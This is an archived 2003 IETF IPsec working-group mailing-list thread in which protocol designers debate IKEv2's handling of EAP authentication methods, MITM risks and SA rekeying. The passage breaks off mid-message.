Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 19, 2003 at 09:02:20PM -0400, Charlie_Kaufman@notesdev.ibm.com wrote: > > > > > I believe this functionality was added as a side effect of addressing > Issue #64 (though it's a little different and might not address all > imaginable cases). When an SA is rekeyed, the SPI of the old SA is > now specified, so there is no ambiguity. The binding between the old > SA and the new is not cryptographic, but in every case I could think of > the assertion of the SPI by the trusted IKE association defeats the > same attacks. > > --Charlie > > p.s. There remains the problem - inherent to the layering in IPsec - that > there is no specified API by which an app receiving packets can ask IPsec > whether this packet is coming from the same authenticated entity as > another packet with the same source address received in the past. Indeed. But I'm taking each step one at a time. The crucial feature we need for the CCM GSS-API mechanism is cryptographically chained SA re-keys and an identifier cryptographically bound to the initial SA. The interface issue is relatively simple to deal with, but it won't help to have it and not have the above. Nico -- From owner-ipsec@lists.tislabs.com Wed Aug 20 11:15:46 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KIFjqt031036; Wed, 20 Aug 2003 11:15:45 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA01395 Wed, 20 Aug 2003 10:00:46 -0400 (EDT) Date: Wed, 20 Aug 2003 10:13:36 +0300 Subject: Re: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Yoav Nir To: ipsec@lists.tislabs.com Content-Transfer-Encoding: 7bit In-Reply-To: <3F42A76A.1050800@kolumbus.fi> Message-Id: X-Mailer: Apple Mail (2.552) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I found the statement below very interesting. While it is true that there are key-generating methods for most authentication methods, it is not always possible to implement them. Under "PPP EAP REQUEST/RESPONSE TYPES" in http://www.iana.org/assignments/ppp-numbers there are 40 authentication methods listed. However, for most of these, there is no published draft or RFC. While it is good to know that #32 SecurID EAP is key-generating, there is no published document anywhere that says how the protocol works. While the likes of Microsoft, Cisco, Check Point and Netscreen can probably negotiate with RSA to get the specifics of this protocol, smaller vendors and open-source developers cannot. I very much dislike the idea of mandating the use of proprietary, unpublished methods. If EAP method owners are forced to publish, I might feel differently. XAUTH gave us generic message passing that the closest thing I see in EAP is GTC. However, GTC seems to be reviled here. I'd like to know what kg method can be used for generic challenge and response, like XAUTH allowed. On Wednesday, August 20, 2003, at 01:40 AM, Jari Arkko wrote: > > We did not come to a specific conclusion in this discussion, > but Bernard and myself felt that non-kg methods should not > be allowed, kg variants of "legacy" methods exist and that > sufficient support already exists in common RADIUS servers > etc so that there's no real reason to support non-kg methods. > From owner-ipsec@lists.tislabs.com Wed Aug 20 11:21:13 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KILCqt031234; Wed, 20 Aug 2003 11:21:13 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA01370 Wed, 20 Aug 2003 10:00:38 -0400 (EDT) Date: Wed, 20 Aug 2003 09:28:33 -0400 From: "Theodore Ts'o" To: Jari Arkko Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues Message-ID: <20030820132833.GA1503@think> References: <20934.1061240676@marajade.sandelman.ottawa.on.ca> <20030819032306.GA1306@think> <3F42AE2F.3040308@kolumbus.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F42AE2F.3040308@kolumbus.fi> User-Agent: Mutt/1.5.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Wed, Aug 20, 2003 at 02:09:35AM +0300, Jari Arkko wrote: > I'm not sure compound authentication has the same kind of situation > as the protected "hard outside, soft inside" intranets have. > > If the inside was safe, why would there be authentication? > I'd say its very likely that the same credentials are primarily > used for coming in to the intranet from the outside, using dial-in > or something like that. Or used for on-site WLAN access using > 802.1X. Either way, its possible to that outsiders can see the > authentication message sequence, or act as MITMs and grab the > packets somewhere else. [With my wg chair hat off] I know, I know. Most companies that I've seen still do very simple authentication on the intranet just to prevent an entry-level QA engineer from impersonating the the CEO. However, the authentication is often done using cleartext, reusable passwords via unencrypted http. Such companies are often running NFS wide open with no protections as well, behind the firewall. I also can't count the number of times that I've been left alone in a conference room when visiting one of these companies, and had the opportunity to plug my laptop into the ethernet jack in the conference room table, and then found myself on the inside of the corporate intranet. (This is why I've always suspected that firewalls very often make security worse, not better, because it lulls companies into a very false sense of security. Of course, many of these companies also don't bother doing background checks before they hire temp workers who are given free run of the building and computer networks, so one could argue that trying to bolt a vault door onto a paper-mache house is kind of silly anyway.) Said companies will also assume that using cleartext, unprotected access over dial-in access is perfectly safe, because everyone *knows* it's hard to tap a phone line and figure out a v.90 modem tone, and the IP path between the dialup servers and rest of the corporate intranet is considered safe. This might or might not be true, depending on the threat model and the architecture of the dialup pool. And I could be wrong, not being an expert in this area, but I was fairly sure 802.1X involved the use of TLS, where the client is supposed to validate the server certificates, so outsiders wouldn't be able to see the authentication message sequence anyway. At least, that's the way Xsupplicant and FreeRadius, the open-source 802.1X client/server implementations, work. (One of my free-time projects which I'm currently engaged in is to secure my home wireless network using Cisco Aironet 350 access points and wireless cards. It looks like all the bits are there, but the documentation about the FreeRadius configuration files is a bit meager. If anyone has gotten this working, let me know...) In any case, the point is that I can imagine situations where given the other choices in the convenience vs. security continuum that various companies have made, using non-kg EAP mechanism wouldn't be considered totally insane. It is certainly is a much more fragile system from a security standpoint, granted, and my personal belief is that at the very minimum we should say SHOULD NOT, and include a very long, explicit security considerations write up that explains the risks very clearly, just to keep our consciences clear. > >So given this, I propose that we open a 48-hour discussion on this > >issue. Should we (a) say nothing about non-kg types, thus implicitly > >allowing them, (b) specify that vendors SHOULD NOT use non-kg EAP > >types, or (c) specify that vendors MUST NOT use non-kg EAP types? > > I'd prefer very much (c), but can live with (b). > > I think (c) is the best match to IKEv2's secure design. > We know the MITM problem exists, and we know how to avoid > it. According to the Bernard's method and RADIUS server > information, we don't appear to have to suffer too much > from choosing the secure approach... I am fairly sure that if we say MUST NOT, customers will force vendors to either (1) simply violate the RFC and support non-kg EAP types anyway, because they need the functionality, or (2) there will be a configuration option, "strict RFC conformance", which when turned off, will allow the further configuration option to allow the use of plaintext passwords, one time passwords, or token authentication responses tunnelled over EAP. However, it is certainly perfectly fair to say that this Isn't Our Problem (tm), although some VPN vendors might not want to be in the uncomfortable position of being forced by the market to violate the RFC. But if they don't mind, it certainly is the safer, more "secure" option to say MUST NOT, assuming that people actually implement to the RFC. But given the past history where we told people they SHOULD use certificates with IKE, and they rejected that advice in favor of using the more insecure XAUTH approach so they could continue using their legacy authentication systems ---- you'll have to pardon me if I'm a bit skeptical. Fool me once, shame on you, fool me twice... - Ted From owner-ipsec@lists.tislabs.com Wed Aug 20 11:22:32 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KIMVqt031284; Wed, 20 Aug 2003 11:22:32 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA03098 Wed, 20 Aug 2003 13:27:14 -0400 (EDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) Date: Wed, 20 Aug 2003 06:56:49 -0700 Message-ID: Thread-Topic: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) Thread-Index: AcNmqIaRV3+KcB6mRaerxCDd6dqQrwAAVrUQ From: "Walker, Jesse" To: "Jari Arkko" , "Theodore Ts'o" , Cc: , , "Bernard Aboba" X-OriginalArrivalTime: 20 Aug 2003 13:56:49.0878 (UTC) FILETIME=[E702DF60:01C36722] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id NAA03087 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > * The primary discussion is whether the non-kg methods should > be allowed. See NON-KG METHODS below. > > We did not come to a specific conclusion in this discussion, > but Bernard and myself felt that non-kg methods should not > be allowed, kg variants of "legacy" methods exist and that > sufficient support already exists in common RADIUS servers > etc so that there's no real reason to support non-kg methods. > > We also felt that the primary requirement for support of legacy > is to avoid redistributing new credentials for users. This can be > avoided, new kg methods can use old non-kg credentials. > > Charlie felt that it is more important to ensure support > for legacy authentication infrastructure, and in his opinion > this is more widespread than what we believed. > > It seems that the primary disagreement is about the > extent legacy authentication infrastructure really > exists vs. the threat posed by the MITM attacks. A keying EAP method has much different properties than a non-keying EAP method, which make each vulnerable to different threats. As far as I can tell, none of the legacy non-keying EAP methods in question natively resist MITM attack anyway, so protecting them with IKE does not introduce a new problem. People shouldn't ever use them across any unprotected network, but they do. On the other hand, by protecting the legacy EAP method with an IKE SA, the IKE peer is asserting that the client is communicating with the legacy authentication server. While such an assertion might often (usually?) be meaningless or fraudulant, it is not necessarily so. This reasoning suggests supporting these legacy non-keying EAP methods in IKE is a clear win. It seems to me that the debate is yet really again about eradicating legacy authentication methods that don't work but that the market demands anyway, to our collective dispair. The IPsec working group is probably the wrong forum to wage this battle. Just my two cents. -- Jesse Walker From owner-ipsec@lists.tislabs.com Wed Aug 20 11:25:20 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KIPJqt031385; Wed, 20 Aug 2003 11:25:19 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA04210 Wed, 20 Aug 2003 13:34:09 -0400 (EDT) Cc: "Theodore Ts'o" , ipsec@lists.tislabs.com, smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Message-ID: <3F43B2B8.2010203@lucent.com> Date: Wed, 20 Aug 2003 13:41:12 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jari Arkko Original-CC: "Theodore Ts'o" , ipsec@lists.tislabs.com, smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Subject: Re: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) References: <3F42A76A.1050800@kolumbus.fi> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk In short. I disagree with Charlie wrt. the reasons EAP was included. In my view it was not to be able to reuse the old METHODS - but to reuse the old CREDENTIALS. The exact "grinder" through which those credentials are run, IMHO doesn't really matter to the users. Ergo, we can and should use key-generating methods with "legacy" credentials. Everybody will benefit. On 8/19/2003 6:40 PM, Jari Arkko wrote: > A few days before this thread on the mailing list, we had an > off-line discussion about the IKEv2 problem with Charlie, Bernard > Aboba, and myself. I thought I'd summarize what was said in > that discussion: > > * The primary discussion is whether the non-kg methods should > be allowed. See NON-KG METHODS below. > > We did not come to a specific conclusion in this discussion, > but Bernard and myself felt that non-kg methods should not > be allowed, kg variants of "legacy" methods exist and that > sufficient support already exists in common RADIUS servers > etc so that there's no real reason to support non-kg methods. > > We also felt that the primary requirement for support of legacy > is to avoid redistributing new credentials for users. This can be > avoided, new kg methods can use old non-kg credentials. > > Charlie felt that it is more important to ensure support > for legacy authentication infrastructure, and in his opinion > this is more widespread than what we believed. > > It seems that the primary disagreement is about the > extent legacy authentication infrastructure really > exists vs. the threat posed by the MITM attacks. > > * A related issue is what exactly is the IKEv2 requirement > for "username and password" authentication, and whether > the currently planned use of such authentication is > proper for EAP. See USERNAME AND PASSWORD AUTH below. > > This partly a debate of what requirements there are for > EAP methods, and how existing methods satisfy those > requirements. > > Bernard argues that EAP should not be used for cleartext > passwords, and that EAP OTP or GTC should not be used in > this manner. One of the problems with this is that if a > RADIUS backend were to be used, the passwords might be > exposed since common RADIUS implementations may not use > encryption for sending the messages to the server. (Recently > approved RFC 2869bis upgrades IPsec support in RADIUS > to a SHOULD, but its still not a MUST.) > > Charlie argues that the requirement is a username/password > authentication, in its simple form. He felt that if this > can't be done in EAP, it needs to be added to IKEv2 > explicitly. > > * In addition, the IKEv2 document currently disagrees with the > way the EAP keying framework wants EAP keys to be used, > when a key-generating method is used. See KEY USAGE below. > > The problem is that the EAP keying framework specifies > a key hierarchy, and link layers (or IKEv2) are expected > to use a specific part in this key hierarchy. Currently, > this is unspecified in IKEv2-10. Specifying it appears easy, > and this should be done. > > Charlie, Bernard, feel free to correct/comment where necessary... > > NON-KG METHODS > ============== > > Jari: We'd like to suggeste that only allow key generating > methods be allowed. Such variants of currently existing non-kg > methods are available, we think, for most or all practically available > methods without requring a change to the already deployed > credentials). > > Charlie: I don't believe it is a good idea. Perhaps you can > convince me otherwise. I don't want to rule out EAP methods > because EAP was explicitly added to support current and future > "legacy" authentication methods. I would hate to see yet another method added > to support methods we aren't allowed to use with EAP. > > Bernard: While RFC 2284 did include definition of "legacy" methods such as > MD5-Challenge, OTP, and Generic Token Card, most of the methods created > since then have been considerably more advanced, and most cannot be > classified as "legacy." In fact, there is even an EAP-IKEv2 method being > proposed! So overall I don't believe that the above characterization > correclty describes today's uses of EAP. > > In practice, EAP today is largely focused on meeting the needs of > wireless authentication such as IEEE 802.11, which does not permit use of > "legacy" methods, and the general trend is toward phasing out these > methods. In fact, I'd go so far as to say that there is no RADIUS server > supporting EAP today that doesn't support at least some "non-legacy" > methods, since that is required for 802.11 compatibility which is a > practical necessity for most implementations. > > Token card vendors such as RSA now provide key-deriving EAP > methods for their token cards. The bottom line is that the need for > "legacy" methods is decreasing and there is no reason to require their > support any more. > > Charlie: I think you're missing my point. EAP is expanding in some very > positive ways. EAP with non-key-generating methods produces dramatically > poorer security than EAP with key-generating methods, particular in the > context of IKE. But the reason EAP was integrated into IKEv2 was not for > any of those reasons. It was because IKEv2 had to support "username/password" > authentication for backwards compatibility with deployed authentication > infrastructures in spite of the fact that the security was going to suck. > And some wise person said: "Rather than just supporting username/password, > why don't you support EAP. That way, you get username/password when you have > to and can migrate to better methods when people roll them out without > updating the spec (though they will still have to update their implementations). > It's a little extra work in the spec now to save us a lot later. But I don't > think we can then turn around and tell them that they can't do > username/password authentication. Even though it's not very secure. > > > USERNAME AND PASSWORD AUTH > =========================== > > Charlie: I am disappointed that > EAP does not include simple user name and password, but am reassured that > people assure me that you can do it by telling EAP it's a one time password. > > I don't believe it's cryptographically possible to do better than EAP in IKEv2 > does if you assume the user has a password and the server holds a non-password > equivalent and doesn't either infringe a patent or require periodic reset > (as with OTP). I believe this case is important. Tell me how I'm wrong. > > Bernard: I think you're thinking about PPP authentication algorithms, > not EAP. > > There are at least four EAP methods defined that fall into this category, > including EAP MD5-Challenge (CHAP equivalent) and EAP LEAP, and two > MS-CHAP variants, both of which do mutual authentication. There has also > been an EAP SRP proposal that has been worked on off-and-on over the > years. So I'm not clear what is missing. > > In practice, most modern RADIUS servers are not limited to a single > non-password equivalent, since they are typically capable of interacting > with an LDAP backend which can either store the password in encrypted > form, or has an extensible schema capable of handling multiple > non-password equivalent forms. For example, with EAP SRP it is necessary > to store several additional parameters such as the generator and this is > not an issue. > > In any case, even where a non-password equivalent is used, it is still > possible to do mutual authentication and key derivation as is done in EAP > LEAP and MS-CHAPv2. > > Similarly, token card vendors such as RSA now provide key-deriving EAP > methods for their token cards. The bottom line is that the need for > "legacy" methods is decreasing and there is no reason to require their > support any more. > > Bernard: EAP does not include support for cleartext passwords, by > design. EAP OTP is not for use with cleartext passwords. > > > I don't believe it's cryptographically possible to do better than EAP in > > IKEv2 does if you assume the user has a password and the server holds a > > non-password equivalent and doesn't either infringe a patent or require > > periodic reset (as with OTP). I believe this case is important. Tell me > > how I'm wrong. > > There is no EAP password-based authentication method that fits these > assumptions. MD5-Challenge requires the server to hold the cleartext password. > MS-CHAPv2 requires the server to hold a non-password equivalent, but does > mutual authentication and generates a key. > > Charlie: Oh dear. It's possible that we've added EAP to IKE to support > a case that EAP can't support. > > My reading of the spec (and I think I recall someone confirming it, though > I don't remember who) was that a client that implemented authentication > types (5) or (6) would display a server provided string to the user and > then forward whatever the user typed to the server. If true, then a server > could use either of these mechanisms to implement simple username > and password authentication. It would be wrong, and out of the spirit > of EAP, but it would work and people do it today. I didn't explicitly say > so in the spec because it seemed politically incorrect, but that's what > I expected people to do. > > I would be wrong about this if either of these mechanisms required > mechanism specific processing in the client - like changing the > wordy form of an OTP into the condensed form. But it didn't look > like that was expected. > > If this isn't going to work, we need to know right away because people > are counting on having a username/password authentication > mechanism and if you can't do it with EAP we will have to add it > explicitly. > > Jari: What exactly is the requirement? To support username/password > authentication? We got that in the form of EAP MSCHAPv2, for > instance. But it does more than you've been assuming so far, > i.e. it also generates keys which would enable you to avoid > the MitM attack. > > Or is the requirement to support token cards? As was mentioned > by Bernard, there are EAP methods to support them as well. > > Bernard: You wrote: > > > My reading of the spec (and I think I recall someone confirming it, though > > I don't remember who) was that a client that implemented authentication > > types (5) or (6) would display a server provided string to the user and > > then forward whatever the user typed to the server. > > This much is true. > > > If true, then a server > > could use either of these mechanisms to implement simple username > > and password authentication. > > This is not true. A compliant EAP-OTP or GTC implementation cannot be > used to implement cleartext passwords. Since this apparently not > clear to some implementors, we may have to add a MUST NOT to RFC > 2284bis to make sure this doesn't happen. This would be a bad idea for > several reasons: > > a. EAP is used on wireless media where cleartext passwords would allow an > attacker to capture the password. > > b. In the case of RADIUS, whereas PAP passwords are hidden via a (lame) > attribute-hiding scheme, in the case of EAP methods [RFC3579] does not > mandate any encryption, although IPsec is a SHOULD. This means that the > cleartext password would be exposed over the Internet as well. > > So even of IKEv2 were to address problem a), it would not address problem > b) -- and would violate the IETF prohibition on use of cleartext > passwords. > > > It would be wrong, and out of the spirit > > of EAP, but it would work and people do it today. > > We did an implementation survey two years ago, and were not aware of any > such usage. In fact, to date I'm only aware of a single implementation of > EAP OTP, and none of EAP GTC. > > For OTP there is certainly processing expected on the server -- and any > server that used it as a cleartext password mechanism would be violating > the spec. GTC is designed to be "generic" -- usable by any > challenge/response mechanism, but for that reason it's never been entirely > clear why it was needed. If this opens a huge hole for abuse, then maybe > we should deprecate it. > > If the goal is to introduce PAP into EAP (something we went to great pains > to avoid), then it isn't going to work, either in EAP or in RADIUS on the > backend either. > > Bernard: It's very hard to argue that support of PAP is a requirement > because RFC 2865 supported CHAP as well as does every RADIUS server I've > ever seen, and MD5-Challenge is mandatory-to-implement in RFC 2284. > > If you buy the idea that all legacy RADIUS servers support CHAP or > MD5-Challenge, then this implies that those same servers have access to > cleartext passwords and could be upgraded to support RADIUS/EAP with a > variety of methods. All the commercial RADIUS servers and several of the > free ones support MS-CHAPv2 in some form, or other password based methods > offering mutual auth and key derivation (Interlink even supports EAP > SKEME). > > KEY USAGE > ========= > > Bernard wrote: For key generating methods, the IKEv2 specification uses > the "key" generated by EAP methods in a manner that is prohibited by the EAP Key > framework. > > EAP methods generate two quantities, the MSK (64 octets) and the EMSK (64 > octets). These quantities are used to compute the AAA-Key. In situations > not involving fast handoff, the MSK is used as the AAA-Key, and the EMSK > is unavailable to the VPN server. So the specification needs to call out > what particular portion of the "key" is being used. > > Also, counter to the IKEv2 specification, the AAA-Key is never used > directly to protect data. Rather, a PRF expansion is done to generate > authentication and encryption keys which are then used directly. > > Please see the following document for details: > > http://www.drizzle.com/~aboba/EAP/draft-aboba-pppext-key-problem-07.txt > > --Jari > From owner-ipsec@lists.tislabs.com Wed Aug 20 11:40:31 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KIeUqt032016; Wed, 20 Aug 2003 11:40:30 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA06759 Wed, 20 Aug 2003 13:50:41 -0400 (EDT) Date: Wed, 20 Aug 2003 10:54:11 -0700 From: Nicolas Williams To: Charlie_Kaufman@notesdev.ibm.com Cc: ipsec@lists.tislabs.com, Mike Eisler Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030820175411.GJ1319@binky.central.sun.com> References: <20030818182532.GF27057@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 19, 2003 at 09:02:20PM -0400, Charlie_Kaufman@notesdev.ibm.com wrote: > I believe this functionality was added as a side effect of addressing > Issue #64 (though it's a little different and might not address all > imaginable cases). When an SA is rekeyed, the SPI of the old SA is > now specified, so there is no ambiguity. The binding between the old > SA and the new is not cryptographic, but in every case I could think of > the assertion of the SPI by the trusted IKE association defeats the > same attacks. Section 2.18 says pretty clearly shows that rekeyed IKE_SAs are cryptographically bound to their immediate predecessors by binding the new SKEYSEED (and the new SK_d, SK_ai, SK_ar, and SK_ei, and SK_er) to the SK_d of the previous IKE_SA. The SKEYSEED, of course, is bound to the key exchange. (Thus every rekeyed IKE_SAs is ultimately bound to its initial IKE_SA by chained binding to each previous IKE_SA's SK_d. Does the binding decrease in strength with each rekey?) I proposed that the session ID of an initial IKE_SA be derived from either its SKEYSEED or SK_d. E.g., {SK_d, SK_ai, SK_ar, SK_ei, SK_er, SK_id} = prf+ (SKEYSEED, Ni | Nr | SPIi | SPIr ) session ID = SK_id | SPIi | SPIr or session ID = prf(SK_d | "IKE session ID") | SPIi | SPIr Or something of the sort. It should fit right in. Cheers, Nico -- From owner-ipsec@lists.tislabs.com Wed Aug 20 15:02:15 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KM2Eqt061180; Wed, 20 Aug 2003 15:02:15 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA10089 Wed, 20 Aug 2003 16:45:05 -0400 (EDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16195.57195.361779.466156@thomasm-u1.cisco.com> Date: Wed, 20 Aug 2003 13:51:55 -0700 (PDT) To: Uri Blumenthal Cc: Jari Arkko , "Theodore Ts'o" , ipsec@lists.tislabs.com, smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Subject: Re: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) In-Reply-To: <3F43B2B8.2010203@lucent.com> References: <3F42A76A.1050800@kolumbus.fi> <3F43B2B8.2010203@lucent.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Uri Blumenthal writes: > In short. I disagree with Charlie wrt. the reasons EAP was > included. In my view it was not to be able to reuse the old > METHODS - but to reuse the old CREDENTIALS. > > The exact "grinder" through which those credentials are > run, IMHO doesn't really matter to the users. Uri, Having been through this once before in the SIP world, there were really two considerations: 1) reuse of credentials as you state 2) keeping the AAA clueless that any of this is going on. In particular, there was a large desire in SIP to have CHAP, etc, instead of HTTP-digest so that the blob delivered to the AAA would be indistinguishable from, oh say, a PPP-dialin authentication request. So in that case, the grinder in fact did figure pretty largely in people's considerations as CHAP and http-digest are essentially the same thing except for the bits on the wire. This was a few years ago and maybe the AAA servers have been upgraded to be more accommodating, so take this with a grain of salt. Mike From owner-ipsec@lists.tislabs.com Wed Aug 20 15:04:02 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KM41qt061388; Wed, 20 Aug 2003 15:04:02 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA10611 Wed, 20 Aug 2003 16:47:22 -0400 (EDT) Cc: Jari Arkko , "Theodore Ts'o" , ipsec@lists.tislabs.com, smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Message-ID: <3F43DFF2.8030608@lucent.com> Date: Wed, 20 Aug 2003 16:54:10 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Michael Thomas Original-CC: Jari Arkko , "Theodore Ts'o" , ipsec@lists.tislabs.com, smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Subject: Re: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) References: <3F42A76A.1050800@kolumbus.fi> <3F43B2B8.2010203@lucent.com> <16195.57195.361779.466156@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On 8/20/2003 4:51 PM, Michael Thomas wrote: > Uri Blumenthal writes: > > In short. I disagree with Charlie wrt. the reasons EAP was > > included. In my view it was not to be able to reuse the old > > METHODS - but to reuse the old CREDENTIALS. > > > > The exact "grinder" through which those credentials are > > run, IMHO doesn't really matter to the users. > > Having been through this once before in the SIP > world, there were really two considerations: > > 1) reuse of credentials as you state Which is perfectly OK. > 2) keeping the AAA clueless that any of this > is going on. I don't think it's (a) feasible, or (b) desirable. Let's NOT keep AAA clueless. Especially since in EAP it's the AAA that will have to actually run the "new" EAP method. If it means fighting reality as it is - so be it. :-) From owner-ipsec@lists.tislabs.com Wed Aug 20 15:33:18 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KMXHqt062647; Wed, 20 Aug 2003 15:33:18 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA13541 Wed, 20 Aug 2003 16:59:34 -0400 (EDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16195.58080.436917.536620@thomasm-u1.cisco.com> Date: Wed, 20 Aug 2003 14:06:40 -0700 (PDT) To: Uri Blumenthal Cc: Michael Thomas , Jari Arkko , "Theodore Ts'o" , ipsec@lists.tislabs.com, smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com, Bernard Aboba Subject: Re: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) In-Reply-To: <3F43DFF2.8030608@lucent.com> References: <3F42A76A.1050800@kolumbus.fi> <3F43B2B8.2010203@lucent.com> <16195.57195.361779.466156@thomasm-u1.cisco.com> <3F43DFF2.8030608@lucent.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Uri Blumenthal writes: > On 8/20/2003 4:51 PM, Michael Thomas wrote: > > 2) keeping the AAA clueless that any of this > > is going on. > > I don't think it's (a) feasible, or (b) desirable. Let's > NOT keep AAA clueless. Especially since in EAP it's the > AAA that will have to actually run the "new" EAP method. > > If it means fighting reality as it is - so be it. :-) Yes, that's it exactly -- reality. Note that I'm not defending this, just stating my experience in the matter. My personal observation is that there seems to be a lot of both use for better or worse, and reticence to change people's AAA's. Does anybody -- Jari? -- have any idea how the SIP saga ended? Were AAA's eventually upgraded to deal with http-digest? My guess is that if they weren't willing to deal with it for SIP, they're probably not going to be any more willing with IKE... Mike From owner-ipsec@lists.tislabs.com Wed Aug 20 19:58:20 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7L2wIqt070809; Wed, 20 Aug 2003 19:58:19 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA00025 Wed, 20 Aug 2003 20:42:30 -0400 (EDT) From: Black_David@emc.com Message-ID: To: Charlie_Kaufman@notesdev.ibm.com Cc: ipsec@lists.tislabs.com Subject: RE: The remaining IKEv2 issues - #64 Date: Wed, 20 Aug 2003 09:56:06 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Charlie, As part of this (unless I missed it), please add sentences to make the following points: - IKEv2 deliberately allows parallel SAs with the same traffic selectors between common endpoints. One of the purposes of this is to support traffic QoS differences among the SAs; see Section 4.1 of RFC 2983 (informative reference). - Hence unlike IKEv1, given two endpoints, traffic selectors need not uniquely identify an SA between those endpoints. - Therefore the IKEv1 rekeying heuristic (use of same traffic selectors as an existing SA indicates rekeying, so existing SA should be deleted 